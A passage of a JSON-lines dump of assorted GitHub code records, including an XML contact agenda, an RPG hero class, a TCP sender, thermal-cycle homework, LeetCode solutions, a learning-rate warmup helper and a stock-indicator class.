arbol.findall(\"contacto\")\n\n    # para cada contacto en la lista de contactos \n    for c in contactos:\n        #Buscamos si los parámetros dados por el usuario ocorrespondne a alguno dentro de nuestra agenda\n        if c.find(\"nombre\").text == nombre and c.find(\"apellido\").text == apellido:\n            #Se manda el mensaje si se ha encontrado \n            print(\"Encontrado!\")\n            return c, doc\n\ndef eliminarContacto(nombre, apellido):\n    if Bcontacto(nombre, apellido) != 0:\n        #Se busca dentro de la agenda \n        c, doc = Bcontacto(nombre, apellido)\n        # se obtiene la raiz \n        raiz = doc.getroot()\n        #Se elimina el nodo raiz (contacto seleccionado)\n        raiz.remove(c)  \n        #Se guardan los cambios\n        doc.write(\"xml/agenda.xml\", pretty_print=True, xml_declaration=True, encoding=\"utf-8\")  \n    \n    \n    else:\n        return 0\n\ndef impresion():\n    dom = etree.parse('xml/agenda.xml')\n    transform = etree.XSLT(etree.parse('xml/estilo.xsl'))\n    nuevodom = transform(dom)\n    resultado = etree.tostring(nuevodom, pretty_print=True, encoding=\"utf-8\")\n    #Se manda a escribir en un template vacio para que se pueda visualizar en la aplicación \n    g = open(f\"templates/impresion.html\", \"wb\")\n    g.write(resultado)\n    g.close()\n\n\ndef modificarContacto(nombre, apellido, nuevotelefono, nuevoCelular, nuevomail, nuevoCP, nuevoestado, nuevodireccion):\n    if Bcontacto(nombre, apellido) != 0:\n        # si no regresa un 0 es porque si se encuentra el contacto por lo que se obtienen sus datos\n        c, doc = Bcontacto(nombre, apellido)\n        # se cambia el valor por los valores que mandaron en el formulario\n        c.find(\"telefono\").text = nuevotelefono\n        c.find(\"celular\").text = nuevoCelular\n        c.find(\"correo\").text = nuevomail\n        c.find(\"codigoPostal\").text = nuevoCP\n        c.find(\"estado\").text = nuevoestado\n        c.find(\"direccion\").text = nuevodireccion\n        doc.write(\"xml/agenda.xml\", pretty_print=True, xml_declaration=True, encoding=\"utf-8\")\n    else:\n        \n        return 0\n    \ndef validarXML():\n    doc = etree.parse(\"xml/agenda.xml\")\n    dtd = etree.DTD(\"xml/agenda.dtd\")   \n    arbol = doc.getroot()\n    print(f\"La validacion del archivo  es {dtd.validate(arbol)} \")\n    #Regresa true si es valido y false si no lo es\n    return dtd.validate(arbol)  ","repo_name":"Niickviice/SistemaAgendaXML","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"13144751107","text":"import math\nimport random\n\n\nclass Hero():\n\n    def __init__(self, name):\n        self.name = name\n        self.level = 1\n        self.hp_max = 10\n        self.hp = 10\n        self.damage_min = 0\n        self.damage_max = 3\n        self.total_kills = 0\n        self.level_kills = 0\n        self.heal_min = 1\n        self.heal_max = 4\n\n    def attack(self, opponent):\n        damage = random.randint(self.damage_min, self.damage_max)\n        opponent.hp -= damage\n        print('{} deals {} damage to the {}!'.format(self.name, damage, opponent.name))\n\n    def rest(self):\n        heal = int(random.randint(self.heal_min, self.heal_max))\n        self.hp += heal\n        if self.hp > self.hp_max:\n            self.hp = self.hp_max\n        print('{} heals {} damage!'.format(self.name, heal))\n\n    def level_up(self):\n        if (not self.level_kills % self.level):\n            self.level += 1\n            self.hp_max += self.level\n            self.level_kills = 0\n            self.damage_min += 1 if self.damage_min == 0 else int(math.ceil(self.damage_min * 0.1))\n            self.damage_max += 1 if self.damage_max == 0 else int(math.ceil(self.damage_max * 0.1))\n            self.heal_min += 1 if self.heal_min == 0 else int(math.ceil(self.heal_min * 0.15))\n            self.heal_max += 1 if self.heal_max == 0 else int(math.ceil(self.heal_max * 0.15))\n            print(\"\\nYou gained a level!\\n\")\n            print(\"\\t You are now level: {}\".format(self.level))\n            print(\"\\t You now have {} max hp.\".format(self.hp_max))\n            print(\"\\t You deal {} - {} points of damage.\".format(self.damage_min, self.damage_max))\n            print(\"\\t You heal {} - {} when resting.\".format(self.heal_min, self.heal_max))\n\n    def __str__(self):\n        return '{} - lvl {}: HP> {} MaxHP> {} MinDmg> {} MaxDmg> {} MinHeal> {} MaxHeal> {} TotalKills> {}'.format(\n            self.name, self.level, self.hp, self.hp_max, self.damage_min, self.damage_max, self.heal_min,\n            self.heal_max, self.total_kills\n        )\n","repo_name":"voidnologo/SuperDungeonSlaughter","sub_path":"src/hero.py","file_name":"hero.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"30850398447","text":"from threading import Lock, Thread\n\nfrom utils import *\n\n\nclass Sender(Host):\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.timer = Timer(sys.argv[4])\n        self.seq_logger = get_logger('seqnum.log')\n        self.ack_logger = get_logger('ack.log')\n        self.n_logger = get_logger('N.log')\n        self.cwnd = 1\n        self.sequence = 0\n        self.duplicate_acks = 0\n        self.event_num = 0\n        self.mutex = Lock()\n        self.log(self.n_logger, self.cwnd)\n\n    def de_mod_acked(self):\n        \"\"\"Given mod 32 acked number and un-mod sequence number, return the un-mod acked number.\"\"\"\n        seqnum = self.acked + 1 + \\\n            (SEQ_NUM_SPACE * (self.sequence//SEQ_NUM_SPACE))\n        if seqnum > self.sequence:\n            seqnum -= SEQ_NUM_SPACE\n        return seqnum\n\n    def log(self, logger, msg: str, is_event=True):\n        if is_event:\n            # Log and incrememnt the event number.\n            self.mutex.acquire()\n            logger.info('t={} {}'.format(self.event_num, msg))\n            self.event_num += 1\n            self.mutex.release()\n        else:\n            logger.info('t={} {}'.format(self.event_num, msg))\n\n    def _open_file(self):\n        self.file = open(self.file_name, 'r')\n        self.messages = list(self.file)\n\n    def _send_data(self, seqnum=-1):\n        \"\"\"Send messages to receiver.\"\"\"\n        if seqnum == -1:\n            # Use and increment default sequence number if arg not passed.\n            seqnum = self.sequence\n            self.sequence += 1\n        if seqnum == len(self.messages):\n            # Send EOT.\n            self.sequence += 1\n            self._send(2, seqnum % SEQ_NUM_SPACE)\n            self.log(self.seq_logger, 'EOT')\n        elif seqnum < len(self.messages):\n            self.log(self.seq_logger, seqnum % 32)\n            self._send(1, seqnum % SEQ_NUM_SPACE, self.messages[seqnum])\n        if not self.timer.running:\n            self.timer.begin()\n\n    def _retransmit(self):\n        \"\"\"Re-transmit non-acked packet, used by fast re-transmit and timeout.\"\"\"\n        self.mutex.acquire()\n        self.event_num += 1\n        self.duplicate_acks = 0\n        self.cwnd = 1\n        self.log(self.n_logger, self.cwnd, False)\n        self.mutex.release()\n        self._send_data(self.de_mod_acked())\n        self.timer.begin()\n\n    def _on_receive(self, pkt: Packet):\n        \"\"\"Operations after recieving ACK.\"\"\"\n        # Log\n        if pkt.typ == 2:\n            # EOT\n            self.log(self.ack_logger, 'EOT')\n            self.eot_acked = True\n            self.timer.begin()\n            return\n        self.log(self.ack_logger, pkt.seqnum)\n        if self.acked == pkt.seqnum:\n            # Duplicate ACK\n            self.mutex.acquire()\n            self.duplicate_acks += 1\n            self.mutex.release()\n            if self.duplicate_acks >= 3:\n                # Fast re-transmit\n                self._retransmit()\n        elif pkt.seqnum > self.acked or self.acked > pkt.seqnum + (SEQ_NUM_SPACE-MAX_WND_SIZE-2):\n            # New ACK\n            if self.cwnd < MAX_WND_SIZE:\n                # Increment window size.\n                self.cwnd += 1\n                self.log(self.n_logger, self.cwnd, False)\n            self.acked = pkt.seqnum\n            self.timer.begin() # Re-start timer.\n\n    def send_messages(self):\n        \"\"\"Sending message with UDP\"\"\"\n        while not self.eot_acked:\n            if self.timer.timeout():\n                self._retransmit()\n            elif self.sequence <= len(self.messages) and self.sequence - 1 - self.de_mod_acked() < self.cwnd:\n                # If sending window is not full\n                self._send_data()\n\n\nif __name__ == '__main__':\n    if len(sys.argv) < 6:\n        sys.stdout.write('Not enough argv\\n')\n    else:\n        with Sender() as sender:\n            send = Thread(target=sender.send_messages)\n            rec = Thread(target=sender.receive)\n            send.start()\n            rec.start()\n            send.join()\n            rec.join()\n","repo_name":"MinzheChen98/TCP","sub_path":"sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2487850830","text":"import sys\nimport datetime\n\ninputfile = sys.argv[1]\noutputfile = sys.argv[2]\n\ndef getDay(month, date, year) :\n    r = ['MON', 'TUE', 'WED', 'THU', 'FRI', 'SAT', 'SUN']\n    return r[datetime.date(int(year), int(month), int(date)).weekday()]\n\ndic = dict()\nvalDic = dict()\nwith open(inputfile, \"rt\") as f :\n    for line in f :\n        list = line.strip('\\n').split(',')\n\n        dayList = list[1].split('/')\n        key = list[0] + \",\" + getDay(dayList[0], dayList[1], dayList[2])\n   \n        if key not in dic :\n            dic[key] = list[2] + \",\" + list[3]\n        else :\n            tList = dic[key].split(',')\n            temp1 = int(tList[0]) + int(list[2]) \n            temp2 = int(tList[1]) + int(list[3])\n            dic[key] = str(temp1) + \",\" + str(temp2)\n\nwith open(outputfile, \"wt\") as f :\n    for k in dic.keys() :\n        f.write(k + \" \" + dic[k] + \"\\n\")\n\n\n","repo_name":"Seonmi-Hwang/study","sub_path":"Python/HW3/UBERStudent20170995.py","file_name":"UBERStudent20170995.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"11203851543","text":"import torch.nn as nn\nimport torch\n\n\nclass ModelWrapperLwF(nn.Module):\n    def __init__(self, model, last_layer_name):\n        super(ModelWrapperLwF, self).__init__()\n        self.model = model\n        self.last_layer_name = last_layer_name\n        self.finetune_mode = False\n\n    def set_finetune_mode(self, idx):\n        self.finetune_mode = True\n        self.finetune_idx = idx\n\n    def forward(self, x):\n        sub_index = 0\n        last_layer = False\n        for name, module in self.model._modules.items():\n            for namex, modulex in module._modules.items():\n                if last_layer:\n                    outputs.append(modulex(x))\n                else:\n                    try:\n                        x = modulex(x)\n                    except:\n                        x = modulex(torch.flatten(x, 1))  # MLP fix LWF\n                if name == 'classifier' and namex == str(self.last_layer_name - 1):\n                    last_layer = True\n                    outputs = []\n\n            # for reshaping the fully connected layers\n            # need to be changed for\n            if sub_index == 0:\n                if len(x.shape) == 4:  # MLP fix\n                    x = x.view(x.size(0), x.size(1) * x.size(2) * x.size(3))\n            sub_index += 1\n\n        assert len(outputs) > 0, \"No outputs from heads extracted.\"\n\n        # In this case only return for one head an output\n        if self.finetune_mode:\n            if self.finetune_idx > 0:\n                outputs = outputs[self.finetune_idx]\n        return outputs\n","repo_name":"Mattdl/DUA","sub_path":"train/LwF/ModelWrapperLwF.py","file_name":"ModelWrapperLwF.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"}
+{"seq_id":"17463704909","text":"from typing import List\n\n\nclass Solution:\n    def subdomainVisits(self, cpdomains: List[str]) -> List[str]:\n        mapping = dict()\n        for cpdomain in cpdomains:\n            count, domain = cpdomain.split(\" \")\n            count = int(count)\n            domain_split = domain.split(\".\")\n            i = len(domain_split)\n            while i >= 0:\n                key = \".\".join(domain_split[i : len(domain_split)])\n                if key and key not in mapping:\n                    mapping[key] = count\n                elif key and key in mapping:\n                    mapping[key] += count\n                i -= 1\n        return [f\"{value} {key}\" for key, value in mapping.items()]\n\n\nif __name__ == \"__main__\":\n    results = Solution().subdomainVisits([\"9001 discuss.leetcode.com\"])\n    print(results)\n","repo_name":"EdmundMartin/PythonInterviewPrep","sub_path":"leetcode/811_subdomain_visit_count.py","file_name":"811_subdomain_visit_count.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27193953917","text":"\"\"\"\r\nLELME2150 - Thermal cycles\r\nHomework 1 - Basic cycles\r\n\r\nSignatures of the functions for the homework\r\n\r\n@author: Antoine Laterre\r\n@date: September 10, 2021\r\n\"\"\"\r\n\r\n#\r\n#===IMPORT PACKAGES============================================================\r\n#\r\n\r\nimport CoolProp.CoolProp as CP\r\nimport numpy as np\r\n\r\n#\r\n#=== MEAN CP ==========================================\r\n#\r\ndef getMeanCp(p_in, p_out, T_in, T_out, R_Star):\r\n    T_min = np.min([T_in,T_out])\r\n    T_max = np.max([T_in,T_out])\r\n    p_min = np.min([p_in,p_out])\r\n    p_max = np.max([p_in,p_out])\r\n    cp = .79*CP.PropsSI('CPMASS','T', T_min,'P', p_min, \"N2\") + .21*CP.PropsSI('CPMASS','T', T_min,'P', p_min, \"O2\")\r\n    if T_min == T_max:\r\n        return(cp)\r\n    n=100\r\n    rangeT = np.linspace(T_min,T_max,n)\r\n    rangeP = np.ones(n)*p_min\r\n    p = p_min\r\n    for i in np.arange(1,n):\r\n        gamma = cp/(cp - i*R_Star)\r\n        p = p_min*(rangeT[i]/T_min)**((gamma-1)/gamma)\r\n        cp += .79*CP.PropsSI('CPMASS','T', rangeT[i],'P', rangeP[i], \"N2\") + .21*CP.PropsSI('CPMASS','T', rangeT[i],'P', p, \"O2\")\r\n    return(cp/n)\r\n\r\ndef getPolytropicTemp(p_in, p_out, T_in, T_out, R_Star, eta_pi, iter):\r\n    if iter < 0:\r\n        print(\"Function does not converge.\")\r\n        return(-1)\r\n    T = T_in*(p_out/p_in)**(R_Star/(eta_pi*getMeanCp(p_in,p_out,T_in,T_out, R_Star)))\r\n    if np.abs(T_out-T) < 1e-12:\r\n        return(T)\r\n    else:\r\n        return(getPolytropicTemp(p_in, p_out, T_in, T, R_Star, eta_pi, iter-1))\r\n\r\n#\r\n#=== BRAYTON CYCLE - GAS TURBINE ==========================================\r\n#\r\ndef gas_turbine(p_1,T_1,p_2,p_3,T_3,eta_pi,eta_mec_c,eta_mec_t):\r\n\r\n    p_1, p_2, p_3, p_4 = p_1, p_2, p_3, p_1     # [Pa]\r\n    T_1, T_2, T_3, T_4 = T_1, 0, T_3, 0         # [K]\r\n    s_1, s_2, s_3, s_4 = 0, 0, 0, 0             # [J/kgK]\r\n    h_1, h_2, h_3, h_4 = 0, 0, 0, 0             # [J/kg]\r\n    eta_en = 0\r\n\r\n    R_Star = .79*CP.PropsSI('GAS_CONSTANT','T', T_1,'P', p_1, \"N2\")/CP.PropsSI('MOLAR_MASS','T', T_1,'P', p_1, \"N2\") + .21*CP.PropsSI('GAS_CONSTANT','T', T_1,'P', p_1, \"O2\")/CP.PropsSI('MOLAR_MASS','T', T_1,'P', p_1, \"O2\") # [J/kgK]\r\n\r\n    #set references state\r\n    DmolarN2 = CP.PropsSI(\"Dmolar\", \"T\", T_1, \"P\", p_1, \"N2\")\r\n    CP.set_reference_state(\"N2\", T_1, DmolarN2, 0, 0)\r\n    DmolarO2 = CP.PropsSI(\"Dmolar\", \"T\", T_1, \"P\", p_1, \"O2\")\r\n    CP.set_reference_state(\"O2\", T_1, DmolarO2, 0, 0)\r\n\r\n    # State 1 -- 4->1: Isobar Heat Rejection\n    s_1 = .79*CP.PropsSI('S','T', T_1,'P', p_1, \"N2\") + .21*CP.PropsSI('S','T', T_1,'P', p_1, \"O2\")\n    h_1 = .79*CP.PropsSI('H','T', T_1,'P', p_1, \"N2\") + .21*CP.PropsSI('H','T', T_1,'P', p_1, \"O2\")\r\n\r\n    # State 2 -- 1->2: Polytropic Compression\r\n    T_2 = getPolytropicTemp(p_1, p_2, T_1, T_1, R_Star, eta_pi, 100)\r\n    h_2 = getMeanCp(p_1,p_2,T_1,T_2, R_Star)*(T_2-T_1)\r\n    s_2 = s_1 + getMeanCp(p_1,p_2,T_1,T_2, R_Star)*np.log(T_2/T_1) - R_Star*np.log(p_2/p_1)\r\n\r\n    # State 3 -- 2->3: Isobar Combustion\r\n    s_3 = .79*CP.PropsSI('S','T', T_3,'P', p_3, \"N2\") + .21*CP.PropsSI('S','T', T_3,'P', p_3, \"O2\")\r\n    h_3 = .79*CP.PropsSI('H','T', T_3,'P', p_3, \"N2\") + .21*CP.PropsSI('H','T', T_3,'P', p_3, \"O2\")\r\n\r\n    # State 4 -- 3->4: Polytropic Expansion\r\n    T_4 = getPolytropicTemp(p_3, p_4, T_3, T_3, R_Star, 1/eta_pi, 100)\r\n    h_4 = h_3 + getMeanCp(p_3,p_4,T_4,T_3, R_Star)*(T_4-T_3)\r\n    s_4 = s_3 + getMeanCp(p_3,p_4,T_3,T_4, R_Star)*np.log(T_4/T_3) - R_Star*np.log(p_4/p_3)\r\n\r\n    # Efficiency\r\n    W = (h_3-h_4)*eta_mec_t - (h_2-h_1)/eta_mec_c\r\n    Q = h_3-h_2\r\n    eta_cyclen = W/Q\r\n    eta_mec = 1\r\n    eta_gen = 1\r\n    eta_en = eta_cyclen*eta_mec*eta_gen\r\n\r\n\r\n    # Final outputs - do not modify\r\n    p = (p_1, p_2, p_3, p_4)\r\n    T = (T_1, T_2, T_3, T_4)\r\n    s = (s_1, s_2, s_3, s_4)\r\n    h = (h_1, h_2, h_3, h_4)\r\n    out = (p,T,s,h,eta_en)\r\n    # print('     | p\\t| T \\t\\t| s-s1\\t\\t| h-h1')\r\n    # print('     | [kPa]\\t| [K] \\t\\t| [kJ/kg.K]\\t| [kJ/kg]')\r\n    # print(75*'-')\r\n    # print('  1  | %.2f\\t| %.2f \\t| %.2f \\t\\t| %.2f ' %(p[0]/1000, T[0], s[0]/1000, h[0]/1000))\r\n    # print('  2  | %.2f\\t| %.2f \\t| %.2f \\t\\t| %.2f ' %(p[1]/1000, T[1], s[1]/1000, h[1]/1000))\r\n    # print('  3  | %.2f\\t| %.2f \\t| %.2f \\t\\t| %.2f ' %(p[2]/1000, T[2], s[2]/1000, h[2]/1000))\r\n    # print('  4  | %.2f\\t| %.2f \\t| %.2f \\t\\t| %.2f ' %(p[3]/1000, T[3], s[3]/1000, h[3]/1000))\r\n    # print(75*'-')\r\n    # print('eta_en : %.3f' %eta_en)\r\n    # print('eta_pi : %.2f' %eta_pi)\r\n    # print('eta_mec_c : %.2f' %eta_mec_c)\r\n    # print('W : %.2f [kj/kg]' %(W/1000))\r\n    # print('Q : %.2f [kj/kg]' %(Q/1000))\r\n    # print(75*'_')\r\n    # print('\\n')\r\n    return out\r\n\r\n#\r\n#=== RANKINE CYCLE - STEAM TURBINE ==========================================\r\n#\r\n\r\ndef steam_turbine(T_1,p_3,T_3,eta_gen,LHV,P_el,eta_mec_t,eta_is_t,eta_pump):\r\n   #State 1: Saturated liquid\r\n    T_1 = T_1\r\n    x_1 = 0\r\n    p_1 = CP.PropsSI('P','T',T_1,'Q',0,'Water')\r\n    h_1 = CP.PropsSI('H','P',p_1,'Q',0,'Water')\r\n    s_1 = CP.PropsSI('S','P',p_1,'Q',0,'Water')\r\n\r\n    #State 2: Sub-cooled water (1->2 supposed isothermal, 2->3 supposed isobaric)\r\n    p_2 = p_3\r\n    rho = CP.PropsSI('D','T',T_1,'P',p_1,'Water')\r\n    T_2 = T_1 + (p_2-p_1)*(1/eta_pump -1)/(rho*CP.PropsSI('C','P',p_1,'T',T_1,'Water'))\r\n    h_2 = CP.PropsSI('H','P',p_2,'T',T_2,'Water')\r\n    s_2 = CP.PropsSI('S','P',p_2,'T',T_2,'Water')\r\n    x_2 = CP.PropsSI('Q','P',p_2,'T',T_2,'Water')\r\n\r\n    #State 3:\r\n    p_3 = p_3\r\n    T_3 = T_3\r\n    h_3 = CP.PropsSI('H','P',p_3,'T',T_3,'Water')\r\n    s_3 = CP.PropsSI('S','P',p_3,'T',T_3,'Water')\r\n    x_3 = CP.PropsSI('Q','P',p_3,'T',T_3,'Water')\r\n\r\n    #State 4_si: (Isentropic expansion from 3->4_si)\r\n    p_4_si = p_1 # 4_si->1 : isobaric condensation\r\n    T_4_si = T_1\r\n    s_4_si = s_3\r\n    s_4_si_satLiq = CP.PropsSI('S','P',p_4_si,'Q',0,'Water')\r\n    s_4_si_satVap = CP.PropsSI('S','P',p_4_si,'Q',1,'Water')\r\n    x_4_si = (s_4_si - s_4_si_satLiq)/(s_4_si_satVap - s_4_si_satLiq)\r\n    h_4_si_satLiq = CP.PropsSI('H','P',p_4_si,'Q',0,'Water')\r\n    h_4_si_satVap = CP.PropsSI('H','P',p_4_si,'Q',1,'Water')\r\n    h_4_si = x_4_si*h_4_si_satVap + (1-x_4_si)*h_4_si_satLiq\r\n\r\n    #State 4: (Adiabatic expansion from 3->4)\r\n    p_4 = p_1\r\n    T_4 = T_1\r\n    h_4 = h_3 + eta_is_t*(h_4_si - h_3)\r\n    h_4_satLiq = CP.PropsSI('H','P',p_4,'Q',0,'Water')\r\n    h_4_satVap = CP.PropsSI('H','P',p_4,'Q',1,'Water')\r\n    x_4 = (h_4 - h_4_satLiq)/(h_4_satVap - h_4_satLiq)\r\n    s_4_satLiq = CP.PropsSI('S','P',p_4,'Q',0,'Water')\r\n    s_4_satVap = CP.PropsSI('S','P',p_4,'Q',1,'Water')\r\n    s_4 = x_4*s_4_satVap + (1-x_4)*s_4_satLiq\r\n\r\n    #Mechanical work of the turbine:\r\n    wm_t = (h_4 - h_3)\r\n\r\n    #Overall efficiency of the cycle:\r\n    eta_th = (h_3 - h_4)/(h_3 - h_2)\r\n\r\n    eta_en = eta_mec_t*eta_th*eta_gen\r\n\r\n    #Water flow in the cycle:\r\n    dot_m_v = P_el/(eta_mec_t*(h_3-h_4-h_2+h_1))\r\n\r\n    #Mass flow of coal used:\r\n    dot_m_c = dot_m_v*(h_3 - h_2)/(eta_gen*LHV)\r\n\r\n    #Minimum water flow used at the condenser:\r\n    dT_w = 8 # inlet temperature of 8°C when entering the condenser\r\n    dot_m_w = dot_m_v*(h_4 - h_1)/(CP.PropsSI('C','P',101325,'T',288.15,'Water')*dT_w)\r\n\r\n    ##?\r\n    dot_m_f = dot_m_v\r\n\r\n\r\n    # Final outputs - do not modify\r\n    p = (p_1, p_2, p_3, p_4)\r\n    T = (T_1, T_2, T_3, T_4)\r\n    s = (s_1, s_2, s_3, s_4)\r\n    h = (h_1, h_2, h_3, h_4)\r\n    x = (x_1, x_2, x_3, x_4)\r\n    out = (p,T,s,h,x,eta_en,dot_m_f)\r\n    return out\r\n","repo_name":"LZieglerdz/LELME2150---Thermal-Cycles","sub_path":"HW1/Python Scripts/basic_cycles_group_42.py","file_name":"basic_cycles_group_42.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15605479804","text":"class Solution:\n    # O(n) time | O(n) space - where n is the length of the input array\n    def findMaxLength(self, nums: List[int]) -> int:\n        countMap = {0: -1}\n        count, maxLen = 0, 0\n        for idx, num in enumerate(nums):\n            count += 1 if num == 1 else -1\n            if count in countMap:\n                maxLen = max(maxLen, idx - countMap[count])\n            else:\n                countMap[count] = idx\n        return maxLen\n    ","repo_name":"weilincheng/LeetCode-practice","sub_path":"hashTable/525_contiguous_array.py","file_name":"525_contiguous_array.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16075933749","text":"# !/usr/bin/env python\r\n# -- coding: utf-8 --\r\n# @Time : 2020/12/22 15:44\r\n# @Author : liumin\r\n# @File : warmup.py\r\n\r\n\r\ndef get_warmup_lr(cur_iters, cfg):\r\n    if cfg.WARMUP.NAME == 'constant':\r\n        warmup_lr = cfg.INIT_LR * cfg.WARMUP.FACTOR\r\n    elif cfg.WARMUP.NAME == 'linear':\r\n        # k = (1 - cur_iters / cfg.WARMUP.ITERS) * (1 - cfg.WARMUP.FACTOR)\r\n        # warmup_lr = cfg.INIT_LR * (1 - k)\r\n        alpha = cur_iters / cfg.WARMUP.ITERS\r\n        warmup_factor = cfg.WARMUP.FACTOR * (1.0 - alpha) + alpha\r\n        warmup_lr = cfg.INIT_LR * warmup_factor\r\n    elif cfg.WARMUP.NAME == 'exp':\r\n        k = cfg.WARMUP.FACTOR ** (1 - cur_iters / cfg.WARMUP.ITERS)\r\n        warmup_lr = cfg.INIT_LR * k\r\n    else:\r\n        raise Exception('Unsupported warm up type!')\r\n    return warmup_lr","repo_name":"shanglianlm0525/CvPytorch","sub_path":"src/lr_schedulers/warmup.py","file_name":"warmup.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"60"}
+{"seq_id":"4442256785","text":"from collections import deque\n\ndef turnLeft(d):\n    return {0:3, 1:0, 2:1, 3:2}[d]\n\nn, m = map(int, input().split())\nr, c, d = map(int, input().split())\ngraph = [list(map(int,input().split())) for _ in range(n)]\ncleaned = [[0]*m for _ in range(n)]\ncleaned[r][c] = 1\n\n# 바라보는 위치 기준 왼쪽 좌표\ngoLeft = {0: [0,-1], 1: [-1,0], 2:[0,1], 3:[1,0]}\n# 바라보는 위치 기준 뒷쪽 좌표\ngoBack = {0: [1,0], 1: [0,-1], 2:[-1,0], 3:[0,1]}\n\nq= deque()\nq.append([r,c])\ncount = 0\nans = 1\nwhile q:\n    x, y = q.popleft()\n    # 4번 연속 회전이라면 \n    if count >= 4:\n        #nx, ny = 뒷쪽 좌표\n       nx, ny = goBack[d][0]+x, goBack[d][1]+y\n       # 빠꾸할때는 청소여부 상관없음\n       if 0<= nx < n and 0<=ny<m and not graph[nx][ny]:\n           q.append([nx,ny])\n           count = 0\n           continue\n       else:\n           break \n    # nx, ny = 내 왼쪽 좌표\n    nx, ny = goLeft[d][0]+x, goLeft[d][1]+y\n    # 바라보는 위치 업데이트\n    d = turnLeft(d)\n    # 범위내에 있고 nx ny가 빈칸이면서 청소하지 않았다면\n    if 0<= nx < n and 0<=ny<m and not graph[nx][ny] and not cleaned[nx][ny]:\n        q.append([nx,ny])\n        cleaned[nx][ny] = 1\n        ans += 1\n        count = 0\n    else:\n        # 돌기만하므로 제자리, 회전 카운트 + 1\n        q.append([x,y])\n        count += 1\n\nprint(ans)","repo_name":"Jungle-Algorithm-Study/study","sub_path":"Week10/youngcheon/로봇청소기.py","file_name":"로봇청소기.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22922314617","text":"#!/usr/bin/python\n#coding=utf8\n'''\nCreated on 2016年5月31日\n\n@author: shunweiwuxian\n'''\nfrom handleData import tools\nimport numpy as np\nimport tushare as ts\n\nclass stockK(object):\n    '''\n    根据code创建一个对象\n    '''\n    \n    def __init__(self, code , ktype='D'):\n        self.code = code\n        self.ktype = ktype\n        self.listArray = None\n        self._getHistData()\n    \n    def K(self,M1=3,N=9,ref=0):\n        dataArrayC = self.getHistWithValueType('close')\n        dataArrayH = self.getHistWithValueType('high')\n        dataArrayL = self.getHistWithValueType('low')\n        rsaArray = []\n        for i in range(0,M1):\n            close = dataArrayC[i+ref]\n            llv = tools.LLV(dataArrayL[i+ref:N+ref+i])\n            hhv = tools.HHV(dataArrayH[i+ref:N+ref+i])\n            rsa=(close-llv)/(hhv-llv)*100;                         \n            rsaArray.append(rsa)\n        self.kValue = tools.SMA(rsaArray, 1)\n        return round(self.kValue,2)\n    \n    def D(self,M2=3,N=9,ref=0):\n        KArray = []\n        for i in range(0,M2):\n            k = self.K(3, 9, i)\n            KArray.append(k)\n        return round(tools.SMA(KArray, 1),2)\n\n    def kdStatus(self,ref = 0):\n        KDYD = False\n        KYYD= False\n        BUYTURN = False\n        kValue = self.K()\n        dValue = self.D()\n        if ((kValue>dValue) & (kValue>self.K(ref=ref+1))):\n            KDYD = True\n        if ((kValue<dValue) & (kValue<self.K(ref=ref+1))):\n            KYYD= True\n        if kValue>self.K(ref=ref+1):\n            BUYTURN = True\n        if (BUYTURN == True & KDYD==True):\n            return \"BUY\"\n        \n        if KYYD == True:\n            return 'SELL'\n        \n        return \"TURN\"\n        \n    def BOLL(self,ref=0):\n        dataArrayC = self.getHistWithValueType('close')[0:20]\n        print(len(dataArrayC))\n        boll=round(tools.MA(dataArrayC),2)\n        std = np.std(dataArrayC)\n        ub = round(boll + 2*std,2)\n        lb = round(boll - 2*std,2)\n        bollStatus =  round((ub-lb)/boll,3)\n        close = dataArrayC[0]\n        closeStatus = round((close - lb)/(ub-lb),2)\n#         cb = (close-boll) >= 0 \n#         if cb:\n#             bstatus = (c-boll)/(ub-boll)\n#         else :\n#             bstatus = (c-boll)/(boll-lb)\n#         需要计算以下状态\n#         1.价格在boll位置\n#         2.boll中轨朝向\n#         10295 9495\n        return {'boll':boll,'ub' : ub,'lb':lb,'bollStatus' : bollStatus,'closeStatus':closeStatus}\n#         return \"close = %s ,boll = %s ,ub = %s ,lb = %s,ulstatus = %s ,bstatus = %s\"%(dataArrayC[0],boll,ub,lb,ulstatus,bstatus)\n        \n    def _getHistData(self,N=20):\n#         print '需要获取周期：%s，取得周期%s' % (ktype, N)\n        df = ts.get_hist_data(self.code,start='2016-05-02',ktype=self.ktype)\n        self.listArray = df\n        \n        \n    def _getHistWithValueType(self, type ='close'):\n#         open   high  close    low     volume  price_change  p_change \n#         ma5    ma10    ma20      v_ma5     v_ma10     v_ma20  turnover     \n        return tools.dataFrameToArray(self.listArray[[type]].values)\n        ","repo_name":"AlexYang1949/ttzStock","sub_path":"dataSource/stockK.py","file_name":"stockK.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
